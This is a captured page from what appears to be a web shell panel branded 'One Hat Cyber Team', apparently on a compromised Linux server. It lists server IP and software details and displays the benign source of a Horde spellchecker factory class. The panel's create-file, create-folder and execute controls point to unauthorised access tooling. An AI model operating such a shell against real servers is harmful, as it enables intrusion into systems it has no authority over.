⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Core
/
Factory
/
View File Name :
SpellChecker.php
* @category Horde * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @package Core * @since 2.1.0 */ class Horde_Core_Factory_SpellChecker extends Horde_Core_Factory_Base { /** * Returns the spellchecker instance. * * @param array $args Configuration arguments to override the * defaults. * @param string $input Input text. If set, allows language detection * if not automatically set. * * @return Horde_SpellChecker The spellchecker instance. * @throws Horde_Exception */ public function create(array $args = array(), $input = null) { global $conf, $language, $registry; if (empty($conf['spell']['driver'])) { throw new Horde_Exception('No spellcheck driver configured.'); } $args = array_merge( array('localDict' => array()), Horde::getDriverConfig('spell', null), $args ); if (empty($args['locale'])) { if (!is_null($input)) { try { $args['locale'] = $this->_injector->getInstance('Horde_Core_Factory_LanguageDetect')->getLanguageCode($input); } catch (Horde_Exception $e) {} } if (empty($args['locale']) && isset($language)) { $args['locale'] = $language; } } /* Add local dictionary words. */ try { $args['localDict'] = array_merge( $args['localDict'], $registry->loadConfigFile('spelling.php', 'ignore_list', 'horde')->config['ignore_list'] ); } catch (Horde_Exception $e) {} $classname = 'Horde_SpellChecker_' . Horde_String::ucfirst(basename($conf['spell']['driver'])); if (!class_exists($classname)) { throw new Horde_Exception('Spellcheck driver does not exist.'); } return new $classname($args); } }